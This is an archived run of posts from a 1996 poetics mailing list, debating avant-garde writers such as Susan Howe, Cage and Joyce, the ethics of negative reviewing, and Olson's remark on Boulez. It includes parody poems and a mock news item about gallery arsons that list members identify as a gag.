Actually, I appreciate your recent comments, because it gives me the wonderful opportunity to be a hard-liner again. One of the early virtues of this poetics list was that it was a forum where one didn't have to endlessly justify the basic value of avant garde poetry. Whatever the limits and problems of that

poetry, at least on this list one didn't have to spend a lot of time stating obvious things like "well you know Susan Howe's actually a pretty good writer"--one could assume that the poetics forum was a place where something as obvious as that would be a given. Perhaps you're right, and this poetics list is not such a place any longer, but nonetheless I think I'm going to act as if it is.

I'm interested, I suppose, in all sorts of discussion about poetry, but the underlying assumption that I see emerging, which is that the value of this work has to be endlessly justified to others even when they refuse to engage it seriously, as Tim Page has, seems to me so much hogwash. I think I'm going to continue to assume that the importance of John Cage's work is blatant and obvious, and if someone else doesn't understand that, tough. A work of art can't defend itself, I suppose, but actually it seems to me much more reasonable to suggest that people on this list would justify themselves in the face of Cage's work, or Beckett's. Does this make me an authoritarian postmodern hard-line anti-relativist? With any luck it does. Newspapers, publishing houses (and their reviewers and art critics, most of them anyway) need to justify themselves in the face of works of art that have demolished their most basic assumptions. That such entities ignore and, when questioned, deny that they have this obligation is tantamount to an admission that they have no defence, and that they should end their own existence as quickly as possible. They won't, I know, choose to end themselves, but morally, there seems to be no question that they SHOULD. Such a position on my part is not only completely REASONABLE, but the fact that it may not seem reasonable suggests instantly the level of confusion and corruption that marks the world I live in.

So (and this has been a lot of fun), anyone who thinks that Susan Howwe, or Samuel Beckett, or John Cage, have not done significant work, are WRONG and deeply confused, and obviously need me to tell them so.

"I have not yet begun to be an extremist"

Mark Wallace

↑ Index

254. Thomas M. Orange
Freud:Woolf::Heidegger:Stein
Sat 15 Jun 1996

Funny, cuz I was reading Heidegger's "Letter on Humanism" the other night and got the distinct impression that it was really Gertrude Stein speaking:

> Thinking acts insofar as it thinks....But all working or
> effecting lies in Being and is directed towards beings.
> Thinking, in contrast, lets itself be claimed by Being so that it

can say the truth of Being. Thinking accomplishes this letting.
(tr. Capuzzi/Gray, _Basic Writings_ 1977 ed., 193-94)

Tom Orange
[redacted]

On Sat, 15 Jun 1996, Hardin wrote:

> *Tony Green typed:*
>
> *Rod Smith mentioning Joan Retalack reminds me I found 3rd impression of Strachey's translation of Freud's Traumdeutung (1957?)*
>
> *p.207*
> *".....to a remark I had de*
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>
> *You know, Perry Meisel often compares Strachey's translations of Freud to _Mrs. Dalloway_ and now I know why....*

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255. McGuire Jerry L
query about ethics
Sat 15 Jun 1996

Hi, folks. Jerry McGuire, new to the list. I've been lurking for a few days to get the feel of the thing--it's like just before the inkling-moment of a new love affair, no?--and am hauled in by the thoughtful responses to Eliza McGrand's questions about writing a negative review. My first feeling was that these were generally so sharp that the topic was quickly tied off. But here are just a couple more observations:

Eliza's predicament is so _specific_--a "bad" How-To book (is there any other kind?) co-authored by a poet/academic whose prior work she evaluates as "somewhat interesting though not stellar" (so from the outset we're situated with reference not to an equal, but to a mediocrity); much of the offensiveness is metapoetic biz about "technique" that seems self-evidently knuckleheaded. And then there are the complications: the writer is identified as belonging to "a much underrepresented sector of writers" (I'm not sure what E.M. means by "sector" here, and it may matter), and the book comes from a non-hegemonic press. Furthermore, Eliza says she's herself as "new to reviewing" and

professionally "vulnerable." Any of these observations might lead a reviewer into trails of inquiry that would be worth anyone's time.

It seems to me there's a contradiction between Eliza's atypical willingness to ask these questions in the first place and her desire for the clarity felt by her exemplary workshop assassin, who unambiguously declares an awful poem not worth anyone else's time. (If I read Pat Pritchett and Rob Hardin's responses properly, I'd say that they have both written hostile reviews about which they've had some second, and possibly painful second, thoughts, and so have I.)

All this points up the variety of motivations that enter into reviewing. Some respondents think of it as a service performed for writers; but clearly there are cultural, psychological, and professional gains at issue, too. One reason to write a review is that it's more lasting, more respectable, and more profitable (though not by much) than flaming. The review seems to me a relatively _little_ thing caught in a web of institutional motivations linking individual creative artists, the publishing industry, and the academy, both in its management of culture and in its maintenance of internal hierarchies of power. That Eliza claims to be (and no doubt is) "vulnerable" is evidence that more than absolute declarations of objective worth are at stake--and probably invite her nostalgia for tough talk. But the review that is worth one's work is the one that sets aside the easy brutalities of the institutional workshop (isn't it?) as well as evaluation, understood as any kind of simple matter whatsoever, and that attempts instead to discuss the text in relation to the contexts in which it's entangled. E.M. doesn't need more clarity, she requires a determination to take her self- reflection further, into institutional analysis. I think she needs to resist the evaluative tendency, and her own hostile feelings, entirely. Unless it really is just enemies' lists we're constructing in our reviews. (I think that if she plugs the proper names from her review into the set of questions she posted to this list, she'd be well on the way to writing a better review than most of those we see or write).

I'm sorry I've gone on at such length--I'll try to be briefer from now on. But one other thing I wanted to mention. Concerning Rob Hardin's claim that "Editors love harsh reviews and controversy, but that's because they aren't signing their own names to such reviews," I'm sure that's true for some. But when I was processing (fond term) reviews for _College Literature_, I and everyone else reading them were aware that hostility almost always coincides with a slackening of precision, a strutting of careless assumptions, and generally a bunch of ego-building exercises quite detached from the task of exploring a text and committing oneself to a reasoned position on it that others might respond to. And while we were nearly as agreeable to negative reviews as positive, we always discouraged hostility for its own sake, or for mere ideological and rhetorical advantage.

All best--

Jerry McGuire [redacted]

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256. **Carnography**
Re: query about ethics
Sat 15 Jun 1996

Jerry McGuire typed:

> *Concerning Rob Hardin's claim that*
> *"Editors love harsh reviews and controversy, but that's because they aren't signing their own names to such reviews," I'm sure that's true for some.*

Spec:

1. Iconclastic academic magazines--here nameless because some of you write for the same ones I do and I'd rather not argue about them in public--and

2. Mainstream crossover magazines, such as _Spin_ and the _Village Voice_--which, antithetically to _The Nation_, _The Baffler_ and _Z Magazine_, torch individual artists while leaving commercial bureaucracies and conglomerates unscathed. While there is always an interest in being factually accurate and in avoiding lawsuits, the eds I've known are usually interested in generating controversy and sales without alienating their audience. The reviewee who suffers is usually the last one who should: a moderately-known writer with a certain degree of so-called underground success, or a new writer who has published a first novel.

Often, writers get trashed in the service of fashion: the reviewer has heard/read too much about a writer and therefore feels said writer is due for a drubbing. Thus, the writer gets dissed for the same reason that people once wore and stopped wearing green Levi's.

I'm not denying that editors discourage flaming, ie, mindless vicious attacks. But in my experience, they do like rude dismissals of writers who deserve far better. That is because most established would-be downtown magazines like _The Voice_ endorse mediocrity no matter what their politics might seem to suggest. And as I've said before, the defining act of mediocrity is to refuse to acknowledge good work.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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257. Aldon L. Nielsen
Re: re-evaluating values
Sun 16 Jun 1996

One part of Mark's post caught my eye immediately -- I agree that howe etc. are wonderful writers, I agree that writers should not be dismissed out of hand without serious consideration, and I agree that it's not a good thing to misrepresent someone's work --

BUT I'm intrigues at the idea of Howe's value, for instance, being "obvious." I think any number of presuppositions have to be in place all ready to bring that obviousness into view -- and I think one of the problems in a writer like Page is his unwillingness to examine his own presuppositions -- Ideology is that which is taken for granted as "obvious," as non-ideological, etc. --

intrigued, actually -- not intrigues at all -- already --

and despite what you may read in the _Washington Post_, one need not be an absolute relativist to think this way --

But Mark, what really intrigues me is disagreements among people who, at first blush, might appear to share several aesthetic assumptions --

what of the people, and there are some, who, say, think Cage's writing is just hunky-dory, but who don't think it so obvious that Howe is a wonderful poet -- (my own inclination is in the opposite directions, by the way -- though I love Cage's music --)

how do we go about negotiating conflicts over the terrain of the obvious?

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258. Ward Tietz
Re: Performance Writing
Sun 16 Jun 1996

On Thursday, June 13, cris creek wrote,

"Performance Writing is what's happening here for me, for others that will not be so - difference continues to be manufactured."

chris,

Could you elaborate on your understanding of performance writing and how it relates to contemporary British work? I've gotten a sense tangentially from some of your previous posts, but I'd be interested in knowing more.

It seems to me that the context and history of performance writing is quite different if we compare, say American with European practice. In continental Europe the link back to sound poetry and even for some, Fluxus-type actions, of

the '60s and earlier (I'm thinking here of the Wiener Gruppe, Doc(k)s related artists etc.) is still more or less intact, while in the U.S. the notion of performance is more strongly connected to performance art as it emerged and developed in the '60s and '70s.

Does anyone else have any thoughts on this?

Ward Tietz

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259. **Ward Tietz**
hatchet job
Sun 16 Jun 1996

Dear cris cheek,

I'm very sorry for the hatchet job on your name in my previous post. I somehow got the h's and the r's all mixed up.

Yours,

Ward Tietz

↑ Index

260. **Pierre Joris**
Gallery Blazes (fwd)
Sun 16 Jun 1996

Thot the attached of some interest -- Pierre

---------- Forwarded message ----------
Date: Sat, 15 Jun 1996 20:35:20 -0700 (PDT)
From: { brad brace } <[redacted]>
To: [redacted]
Subject: Gallery Blazes (fwd)

DALLAS - Three women were arrested Monday for questioning in connection with the burning of at least one of two Art Galleries set ablaze overnight, officials said. The New Gallery of Art and the Gallery of the Living Curator were set on fire in the town of Whiteville, about 40 miles east of Dallas, the latest in a long string of blazes at art-galleries across the country. Fire chief George Wood said police arrested three artists and were questioning them about at least one of the fires. They were arrested on an unrelated traffic offense at around 1 a.m. and their car matched the description of witnesses who said they saw it parked outside the New Gallery of Art shortly before it went up in flames at around midnight. The blaze at the nearby Gallery of the Living Curator was reported at around 3 a.m., after the three women were

arrested, but foul play is also suspected there. ``Both fires are considered to be acts of local vandalism,'' Wood told a news conference. He said he hoped they were not linked to the arson attacks against about 30 art institutions and galleries across the nation in the last 18 months. Gallery curators met with U.S. Attorney General Janet Reno on Sunday to demand greater priority be placed on the investigation into the fires. Neither of the two Whiteville galleries was totally destroyed in the latest blazes and nobody was hurt but the buildings suffered serious damage. Residents told reporters they saw two young women running away from the scene of the first fire.

—

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261. **Joseph Zitt**
Re: Gallery Blazes (fwd)
Sun 16 Jun 1996

I have a feeling that this may be a gag. I live in Dallas, and hadn't heard of this, or of the supposed town of Whiteville. I think it's an adaptation of news reports about the recent torching of churches in Greenville (which is where the article says Whiteville is).

But quite possibly either everyone knew this, or I missed a real news report. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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262. **Jim Rosenberg**
Handling the Verticals
Sun 16 Jun 1996

Today I find the following line in Blaser's poem "Mappa Mundi":

"Olson once said he wished he could learn how to handle verticals from Boulez ..."

If anyone can help me locate the source of this in Olson somewhere I would be much obliged.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124

WELL: jer
Internet: [redacted]

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263. **Chris Stroffolino**
Re: post language poetry, post modernist poetry, fakes
Sun 16 Jun 1996

Pierre---
GALLERY OF THE LIVING CURATOR? (in CHRIST?)
is zitts right? it seems joke....

↑ Index

264. **Carla Billitteri**
Re: Handling the Verticals
Sun 16 Jun 1996

> *Today I find the following line in Blaser's poem "Mappa Mundi":*
>
> *"Olson once said he wished he could learn how to handle verticals from Boulez ..."*
>
> *If anyone can help me locate the source of this in Olson somewhere I would be much obliged.*

No doubt Olson said this to Blaser in person, or in a letter, but see also Olson's 22 August 1951 letter to Creeley (vol. 7 of the correspondence, p. 120):

When I go horizontal--literally fall, lacking, the standing- up--
If I could once more write as vertical as I take it Boulez has, in, that 2nd Sonata--as, indeed, I take it I did In Cold Hell--which, by God, if I don't write that poem, I'll inscribe (when somebody else but that prick Emerson prints it) "to Pierre Boulez, for, his 2nd Sonata"

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265. **Tony Green**
Re: wild wild dead horse hairs
Sun 16 Jun 1996

Stones vs Beatles (early) and an afterthot or 2: It was jus that The Beatles new LP wd always come out 1 week earlier than the Stones new LP, mid 60's, Christmas time year after year. The Stones sounded raw, and looked nice and ugly, and beat, while the Beatles were so clean and tidy, ready to meet showbiz of the time half way, it seemed. The STones maybe gave an impression of being more dangerous (rightly or wrongly). The Strachey translation was 1954, not

1957. And I wonder whether jip, as in giving one pain shouldn't be sperllt "gyp". I never saw it written down. Best

Tony Green,
e-mail: [redacted]

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266. **Charles Bernstein**
Re: The Twentieth Century
Mon 17 Jun 1996

At 11:51 AM 5/30/96 EST, Burt Kimmelman wrote:

> *I am slated to teach an interdisciplinary course called "The Twentieth Century World"; the course is global in scope.*

I realize how fashionable it is to focus on the modern and the postmodern, but I have to question if there is enough material here to sustain an entire semester's course.

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267. **wystan**
Re: wild wild dead horse hairs
Mon 17 Jun 1996

Dear Tony,
Had the same thought re-the spelling: is it JIP or GYP? I recall the word as a verb: the bastard gyped me!! That is ripped me off. And as a noun: he gave me THE gyp. But not as an adjective.
Wystan

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268. **wystan**
Re: The Twentieth Century
Mon 17 Jun 1996

> *Date: Mon, 17 Jun 1996 00:27:23 -0400*
> *Reply-to: UB Poetics discussion group <[redacted]>*
> *From: Charles Bernstein <[redacted]>*
> *Subject: Re: The Twentieth Century*
> *To: Multiple recipients of list POETICS <[redacted]>*
>
> *At 11:51 AM 5/30/96 EST, Burt Kimmelman wrote:*

> *I am slated to teach an interdisciplinary course called "The Twentieth Century World"; the course is global in scope.*
>
> *I realize how fashionable it is to focus on the modern and the postmodern,*
> *but I have to question if there is enough material here to sustain an entire*
> *semester's course.*

O Charles, it's not like you to be so negative ...give the boy his head. Burt, i've just curated this exhibition called THE WORLD OVER.Art in the Age of Globalisation. If you are in the Southern hemisphere, get over to Wellington--its on at the City Gallery there until August 11, and for the Northern hemisphere folks, it opens on June 28th in Amsterdam, at the Stedelijk Museum. And if you can't get to either, the website should be up soon. I'll post it later.

Wystan, The Worldlywise.

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269. Alan Sondheim

Paul, Sail On

Mon 17 Jun 1996

-

Paul, Sail On

If I gather up, will you bury me, will you bury me if I gather up Your ambergris, your bronze helmet, your amber, your bronze Swollen by river's wake by cavern opening cavern awakened by the river's swell Motivated by gutted reeds cut stuttered clay, read in gorgeous monuments gone motivated If I lie with you, will you lie with me, if I lay with you will you lay with me Near the pregnant cow near the gutted horse near the emptied house by the coward's prayer Through the dim dark night by the knight's despair by the armor there If I wash for you by the river's edge and I wash for you by the same edge of the river Where down the river there is a gathering of knights and women, I think they are celebrating Telipinu at the moment

Yes, I will lie with you, I will lay with you, I will sacrifice, you will sacrifice
Your horse, your cow, yourself, against my golden hair, my eyes of blue
Sparkling in the waters pooling by the marshes, waters sprinkled with blood, swollen with whitened
Bones you have slaughtered, your bones you have slaughtered

While I, while I
  I'm leaving for Telipinu.

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270. Schuchat
Re: The Twentieth Century
Mon 17 Jun 1996

On Mon, 17 Jun 1996, Charles Bernstein wrote:

> At 11:51 AM 5/30/96 EST, Burt Kimmelman wrote:
>
> >I am slated to teach an interdisciplinary course called "The Twentieth
> >Century World"; the course is global in scope.
>
> I realize how fashionable it is to focus on the modern and the postmodern,
> but I have to question if there is enough material here to sustain an entire
> semester's course.
>
I presume, of course, that you will have to spend at least 60% of the time
covering the 19th century, in order to establish the context for
properly understanding the twentieth.

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271. Chris Stroffolino
Re: The Twentieth Century
Mon 17 Jun 1996

"enough material"----
too much is definitely not enough.....
when i lack self-esteem, a self to confide in that
' is not JUST a brick wall, i wish i was better at generalizations....
ah, ubi sunt WCW's "universality of the local" when
one needs it....
sew what

↑ Index

272. **henry**
Re: Susan Howe and Samuel Beckett
Mon 17 Jun 1996

On Sat, 15 Jun 1996 11:03:36 -0400 Mark Wallace said:
>
> Actually, I appreciate your recent comments, because it gives me
>the wonderful opportunity to be a hard-liner again. One of the early
>virtues of this poetics list was that it was a forum where one didn't
>have to endlessly justify the basic value of avant garde poetry. Whatever
>the limits and problems of that poetry, at least on this list one didn't
>have to spend a lot of time stating obvious things like "well you know
>Susan Howe's actually a pretty good writer"--one could assume that the
>poetics forum was a place where something as obvious as that would be a
>given. Perhaps you're right, and this poetics list is not such a place
>any longer, but nonetheless I think I'm going to act as if it is.

You mean it's too bad it's not a cozy little nest anymore, where you
can pat each other on the back & not have to justify yourselves, like
those nasty newspapermen should?
>
A work of art can't defend
>itself, I suppose, but actually it seems to me much more reasonable to
>suggest that people on this list would justify themselves in the face of
>Cage's work, or Beckett's. Does this make me an authoritarian postmodern
>hard-line anti-relativist? With any luck it does. Newspapers, publishing
>houses (and their reviewers and art critics, most of them anyway) need to
>justify themselves in the face of works of art that have demolished their
>most basic assumptions. That such entities ignore and, when questioned,
>deny that they have this obligation is tantamount to an admission that
>they have no defence, and that they should end their own existence as
>quickly as
>possible. They won't, I know, choose to end themselves, but morally,
>there seems to be no question that they SHOULD. Such a position on my
>part is not only completely REASONABLE, but the fact that it may not seem
>reasonable suggests instantly the level of confusion and corruption that
>marks the world I live in.

The world is corrupt because it doesn't seem as reasonable as you are? That
doesn't follow. I have followed this thread with one eye open. It seems to me
that you are perfectly correct to respond angrily & publicly to misrepresenta-
tions of an artist's work; also, to beg to differ publicly with reviews or evalua-
tions you think miss the mark. What bores me is this eternal yeast of embattled-
artist-selfrighteousness, that would rather efface all newspapers from the earth

than admit to the contingency of culture-at-large. The FACT is, all you glorious "audience-builders" out there have absolutely no control over free aesthetic response - and that's ALL TO THE GOOD. You will never solve the problems of debased & tamed cultural atmosphere; but then again, maybe audiences should have to work a little to achieve the experimentalist's heights; maybe masterpieces NEED to hide themselves; and maybe art doesn't need so many so-called defenders - it just needs searchers & finders. These opinions emanate from one who understands very well the overwhelming dead weight of our corporate sponsors. When the real poets come, you will think you've entered a laughter-tornado, until you begin to weep.

The poem is a stone fallen from heaven;
no one will judge it. [O. Mandelstam]

- Henry Gould

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273. J.V. Kinsella (by way of Charles Bernstein <[redacted]>)" <[redacted]>

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22 April 1994 C.C.C.P. 4 Programme & examples of current work by participants in the Fourth Cambridge Conference of Contemporary Poetry. Poems & texts by Pierre Alferi, Derek Bailey, Olivier Cadiot, David Chaloner, Simon Fell, Barbara Guest, Michael Haslam, Peter Hughes, Fanny Howe, Grace Lake, R.F. Langley, D.S. Marriott, Peter Riley, Jacques Roubaud, Iain Sinclair, Ben Watson. Cover by Grace Lake. A5, 24pp, price 2 pounds

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17 March 1995
Negative Equity by Tony Lopez
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28 April 1995
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end of catalogue

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274. Burt Kimmelman
Re: The Twentieth Century
Mon 17 Jun 1996

Wystan,

Sounds great, but I'll have to settle for the web site, alas. As for Charles, I guess his comment is the height of postmodernity or something. Charles, you are kidding, of course, but then one has to ask why you bothered to say anything of this sort, that is, that not enough has happened in the twentieth century to warrant a substantial investigation of it. this is what happens when we start to talk seriously about uncertainty, chaos theory, langpo, hi-tech ethnic cleansing, and the like. To quote Creeley, "and *and* becomes just so"

Burt
(mr. enigmatic)

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275. Henry
Re: When the real poets come
Mon 17 Jun 1996

On Mon, 17 Jun 1996 09:47:38 -0500 Jordan Davis said:
>Is James Joyce really a great writer?

Well, a number of people have thought so, especially in the 20th century, paradoxically. Nevertheless, Mr. Joyce himself always felt, and likewise said, to many friends and acquaintances, and I quote: "Life and labor bring their many and varied rewards as we journey on its highways and quaint byways -- but the greatest aim in my life has been simply this: to be a decent humming bean." - J-squared

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276. Charles Bernstein
"He's So Heavy, He's My Sokal" (song)
Mon 17 Jun 1996

HE’S SO HEAVY, HE’S MY SOKAL

after Danny Kaye and Milton Schafer

Please, please don’t Sokal me
Sokal the baby, Sokal the priest
But don’t, don’t Sokal me
I’m laughing so hard I could cry

If I Sokaled you
You wouldn’t like it
You wouldn’t approve
If I Sokaled you
You’d Sokal so hard you would split

O, O let go of my ‘no’
It isn’t so funny you goof
Oh, no I’ve misplaced the sunny
Stop or I’ll fall up through the roof

But please, please don’t Sokal me
Sokal the baby, Sokal the priest
Sokal your mother, Sokal your brother,
Sokal some other guy
But don’t, don’t Sokal me
I’m laughing so hard I could sigh

Cut it out now, cut it out now!
I’m historicized, I can’t take it anymore!
Come on, beat it, get out of here!
You’re symtomizing me!
I’m practically reified!

Wait until I get you, you piece of ….
Cut it out ’cause I’m getting sore

And please, please don’t Sokal me
Sokal the baby, Sokal the priest
Sokal your father, Sokal your sister,
Sokal some other guy
But don’t, don’t Sokal me
I’m laughing so hard I could cry

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277. Emily Lloyd
Sonnet!: What to Name the 20th-century World-Baby?
Mon 17 Jun 1996

Mark, Herny, Chas, C(h)ris, Steve, Marisa, Ann, Deirdre, Herb, Wystan, Joe, Carla, Tan, Jeff, Bob, Simon, Pierre, Burt, Maria, Ed, Rod, Larry, Bill, Juliana, Louis, Kenny, Garrett, Alan, Joe, Tom, Rob, Ken, Jorge, Fred, Ron, Jerry, Dan, Dodie, Kevin, Marjorie, Michael, George, Tony, Ira, Romana, Andrew, Jonathan, Ursula, Charles, David, Laura, Aldon, Daniel, Keith, Eliza, Emily, Mike, Dave, Annie, James Joyce Jordan

_____
or,

early Stones > early Beatles > James Joyce

~~~
~~~

the kinks? animals? etc. blow up the BINARY pretty much
or the zombies.
susan howe would not be dusty springfield in such a context
(neither would fanny)--but nor would she be charlie rich--
the pre-smaltzy famous charlie rich which is actually suprisingly
good on my tapedeck now and really challenging my prejudices and
making me redraw my mental conceptual map at least as much as
the world-baby ODORONO conference which I am off to now will
(in fact, just found out I MAY be able to see Hank Lazer's panel
now and that JOHN SHOPTAW cancelled out---which points me on a

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280. **cris cheek**
Re: wild wild dead horse hairs
Mon 17 Jun 1996

And I wonder whether jip, as
>in giving one pain shouldn't be sperllt "gyp". I never saw it
>written down. Best
>
>
>Tony Green,

Gyp it is Tony, indeed. I worry about that spelling though, it having a common with gypsy - and since one dictionary def. of gyp gives cheat and swindler there seems to be heavy prejudice there. Hence the 'jip'.

love and love
cris

↑ Index

281. **Glover, Albert**
Re: POETICS Digest - 15 Jun 1996 to 16 Jun 1996
Mon 17 Jun 1996

I agree with Carla Billitteri's post about Olson's remark to Robin. Anyone interested in the Olson/Blaser/Boulez 2nd Sonata confluence might be interested in Robin's Bach's Belief, #10 of A Curriculum of the Soul, available for $10 from Glover Publishing, RI 203 / SLU, Canton, NY 13617

Looking forward to Orono reports.

Al Glover
[redacted]

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282. **Charles Alexander**

Re: When the real poets come

Mon 17 Jun 1996

> *Mark, Herny, Chas, C(h)ris, Steve, Marisa, Ann, Deirdre, Herb, Wystan, Joe, Carla, Tan, Jeff, Bob, Simon, Pierre, Burt, Maria, Ed, Rod, Larry, Bill, Juliana, Louis, Kenny, Garrett, Alan, Joe, Tom, Rob, Ken, Jorge, Fred, Ron, Jerry, Dan, Dodie, Kevin, Marjorie, Michael, George, Tony, Ira, Romana, Andrew, Jonathan, Ursula, Charles, David, Laura, Aldon, Daniel, Keith, Eliza, Emily, Mike, Dave, Annie,*
> *Is James Joyce really a great writer?*
> *Jordan*

is he?

O tell me all about Anna Livia! I want to hear all about Anna Livia. Well, you know Anna Livia? Yes, of course, we all know Anna Livia. Tell me all. Tell me now. You'll die when you hear. Well, you know, when the old cheb went furt and did what you know. Yes, I know, go on. Wash quit and don't be dabbling. Tuck up your sleeves and loosen your talktapes. And don't butt me -- hike! -- when you bend. Or whatever it was they threed to make out he thried to two in the Fiendish park. He's an awful old reppe. Look at the shirt of him! Look at the dirt of it! He has all my water black on me. And it steeping and stuping since this time last wik. How many goes is it I wonder I washed it? I know by heart the places he likes to saale, duddurty devil! Scorching my hand and starving my famine to make his private linen public. Wallop it well with your battle and clean it. My wrists are wrusty rubbing the mouldaw stains. And the dneepers of wet and the gangres of sin in it! What was it he did a tail at all on Animal Sendia? And how long was he under loch and neagh? It was put in the newses what he did, nicies and priers, the King fierceas Humphrey, with illysus distilling, exploits and all. But toms will till. I know he well. Temp untamed will hist for no man. As you spring so shall you neap. O, the roughty old rappe! Minxing marrage and making loof. . . .

---

yes, i think so. at least, to me, he's great fun to read, and more

charles

↑ Index

283. Jordan Davis
pcoet and tlooth
Mon 17 Jun 1996

Pcoet an Tlooth wer waking don th' stree. Pcoet sad t' Tlooth, 'Come th' rev'lution, w'll b seing th' ral pots.' Tlooth, sd, sad t' Pcoet, 'Bt hard laugter torndo ccompanies r'volution. Don' th't scar yu?' 'Na! Jus wee litle.'

↑ Index

284. Goulding
Re: pcoet and tlooth
Mon 17 Jun 1996

On Mon, 17 Jun 1996 11:22:10 -0500 Jordan Davis said:
>Pcoet an Tlooth wer waking don th' stree. Pcoet sad t' Tlooth, 'Come th'
>rev'lution, w'll b seing th' ral pots.' Tlooth, sd, sad t' Pcoet, 'Bt hard
>laugter torndo ccompanies r'volution. Don' th't scar yu?' 'Na! Jus wee
>litle.'

Twas a way lighter wee doom the trialfather Pcoat duffered so: "Torn ala nudo! Wheelye yon bakers, dozin in the ray! Spanner that spindial, yeh spokeyed spoffer!" Beetred and bettered, Tlooth did sigh: "Quizzical meat? Wrother bothy thy forktong and wed a buffalo tune!" Sodalitassled, they onword dallied into the fernbread corn. - Hailie Goulding

↑ Index

285. David Baratier
Re: when the real poets come
Mon 17 Jun 1996

Jordan

Is James Joyce really a great writer?

In answer, yesterday I not only was allowed a glimpse of his magnitude as a literary technician but also finally understood his grasp of the oral tradition through the aged patrons of the Rosenbach Library in Philly (which houses the original manuscript of Ulyssess) who sat around most of bloomsday drinking free harp, guiness and delivering Ulysses in 10 minute speaker, singer, mutterer, change-ups. To contain such a multiplicity of voices within the reading of one text, now I fully comprehend what you weirdo big-city avant-guardists are talking about.

David Baratier

↑ Index

286. Aldon L. Nielsen
Re: everywhere the obvious was becoming less so
Mon 17 Jun 1996

One couldn't ask for better illustration of the points I was making -- what has to be in place for the "obviousness" of the gallery fires gag to be apparent? For how many readers will the report of initical arrests of artists as suspects track with the FBI's investigations of the congregants of the churches burned? ("initial," not "initical etc. for all "obvious" errors to follow) --

When the "authorities," having arrested people who have burned black churches comment that they are not sure that racial motives were in play, why is it not obvious to them that most white people (even in the South) would probably have found a white church more readily at hand for burning if simple vandalism were the intent? The L.A. Times this morning carries a short follow-up on the obviously distrubed thirteen-year-old girl who was arrested for one of the fires -- In the first line of the story they report that the girl expresses anti-religious sentiments. They mention that the authorities doubt that the girl was racially motivated, and they report doubts that the girl knew that black people attended the church. THEN they report that the girl also expresses strong anti-black beliefs.

If racism is not the motive in these fires, wouldn't we expect a considerably larger number of white churches to be burning? Why is it not obvious to most "authorities" and the press that this is so?

A troubling, but effective gag, that gallery story --

meanwhile, I'm off to Maine -- check in again with everybody in about a week --

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287. Steve Carll
Re: When the real poets come
Mon 17 Jun 1996

At 09:47 AM 6/17/96 -0500, you wrote:
>Mark, Herny, Chas, C(h)ris, Steve, Marisa, Ann, Deirdre, Herb, Wystan, Joe,
>Carla, Tan, Jeff, Bob, Simon, Pierre, Burt, Maria, Ed, Rod, Larry, Bill,
>Juliana, Louis, Kenny, Garrett, Alan, Joe, Tom, Rob, Ken, Jorge, Fred, Ron,
>Jerry, Dan, Dodie, Kevin, Marjorie, Michael, George, Tony, Ira, Romana,
>Andrew, Jonathan, Ursula, Charles, David, Laura, Aldon, Daniel, Keith,
>Eliza, Emily, Mike, Dave, Annie,
>Is James Joyce really a great writer?
>Jordan

Jordan:

Yes.

||||||

WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

290. **FUNKHOUSER CHRISTOPH**
(no subject)
Mon 17 Jun 1996

dear poetics:

Robert Kendall recently posted this to another list--

> *Readers of this list may be interested to know of the recent publication of the late bp Nichol's collection of kinetic visual poems, "First Screening." These aren't hypertext, but some of them are decidedly nonlinear. The poems where written during the early1980s in BASIC on an Apple II and translated into Hypercard by the editors.*
>
> *Nichol was well-known in his native Canada, though most Americans don't know his work. These poems are witty and entertaining and it's astonishing that they were written so long ago. I wonder what else will creep out of the woodwork of the early days of personal computing.*
>
> *The publisher is:*
>
> *Red Deer College Press*
> *56 Ave. and 32nd Street*
> *Box 5005*
> *Red Deer, Alberta*
> *Canada T4N 5H5*

↑ Index

291. **cris cheek**
Re: When the real poets come
Mon 17 Jun 1996

> *On Mon, 17 Jun 1996 09:47:38 -0500 Jordan Davis said:*
> *Is James Joyce really a great writer?*
>
> *Well, a number of people have thought so, especially in the 20th century, paradoxically.*

People in the eighteenth and nineteenth centuries thought that Joyce was pretty terrific too - but that's just hearsay, ain't it?

love and love
cris

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292. **Joseph Zitt**
Re: Not exactly Re: Susan Howe and Samuel Beckett
Mon 17 Jun 1996

On 17 Jun 96 at 19:08, Herb Levy wrote:

> *In any case, let me suggest a different tack to take with Tim Page, that may be the most effective in the long run. Call him at the Post, explain that you disagreed with some aspects of his Cage piece & ask him to coffee or a drink to discuss it. I think there are better than even odds that he would take you up on it. Moreover, if you hung out for a while, you'd probably find that you had more interests in common & that he probably isn't an overall schmuck.*

To chime in in agreement: Tim Page is responsible for turning me on to a lot of New Music in the early eighties (I think -- my timesense is lousy) through his broadcasts on WNYC. I also have a tape of a very good radio interview he did with Cage back then, some of which is transcribed in his book "Music from the Road" which has shown up on remainder racks all over the place in the past few weeks. He's also, if I recall, in charge of the Catalyst record label, which has released several very good CDs of contemporary music (even if he did try to tag his Cage disc as newage!). ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

293. **Carnography**
Re: The Twentieth Century
Mon 17 Jun 1996

> *At 11:51 AM 5/30/96 EST, Burt Kimmelman wrote:*
>
> *I am slated to teach an interdisciplinary course called "The Twentieth Century World"...*

At 12:27 AM 6/17/96, Charles Bernstein typed:

> *...I have to question if there is enough material here to sustain an entire semester's course.*

Do any of you recall an old film called _The Twentieth Century_? It was about a deluxe railroad train called, of course, The Twentieth Century. The train was meant to exemplify progress and perspective: in the characters' view, the world

had reached its apex, and technology and aesthetics had resulted in a perfect marriage of hedonism and efficiency. And everytime something went wrong with the Tintanicized train, someone would say:

"This can't be happening! This is the Twentieth Century!"

This is, of course, the usual criticism of the modernist's flawed, cold future--though done amusingly well in this case. But I love thinking of this film when people make sweeping statements about art in the Twentieth Century.

§§§

1991), Sound Off (Detour Press, 1993), and No Island (Drogue Press, 1995). His visual poetry includes Stigma (Score, 1990), and Malleable Cast (Generator, 1995). In the middle 1980's Spencer Selby began SINK Press in San Francisco, where he still resides, and he coordinated the Canessa Park Reading Series from 1987 - 1993. In 1993 Selby created The List of Experimental Poetry/Art Magazines, a noncopyrighted, freely circulating document that tracks over 250 publications around the world.

